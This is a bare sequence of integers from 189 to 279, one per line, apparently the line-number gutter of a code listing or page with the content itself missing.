189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279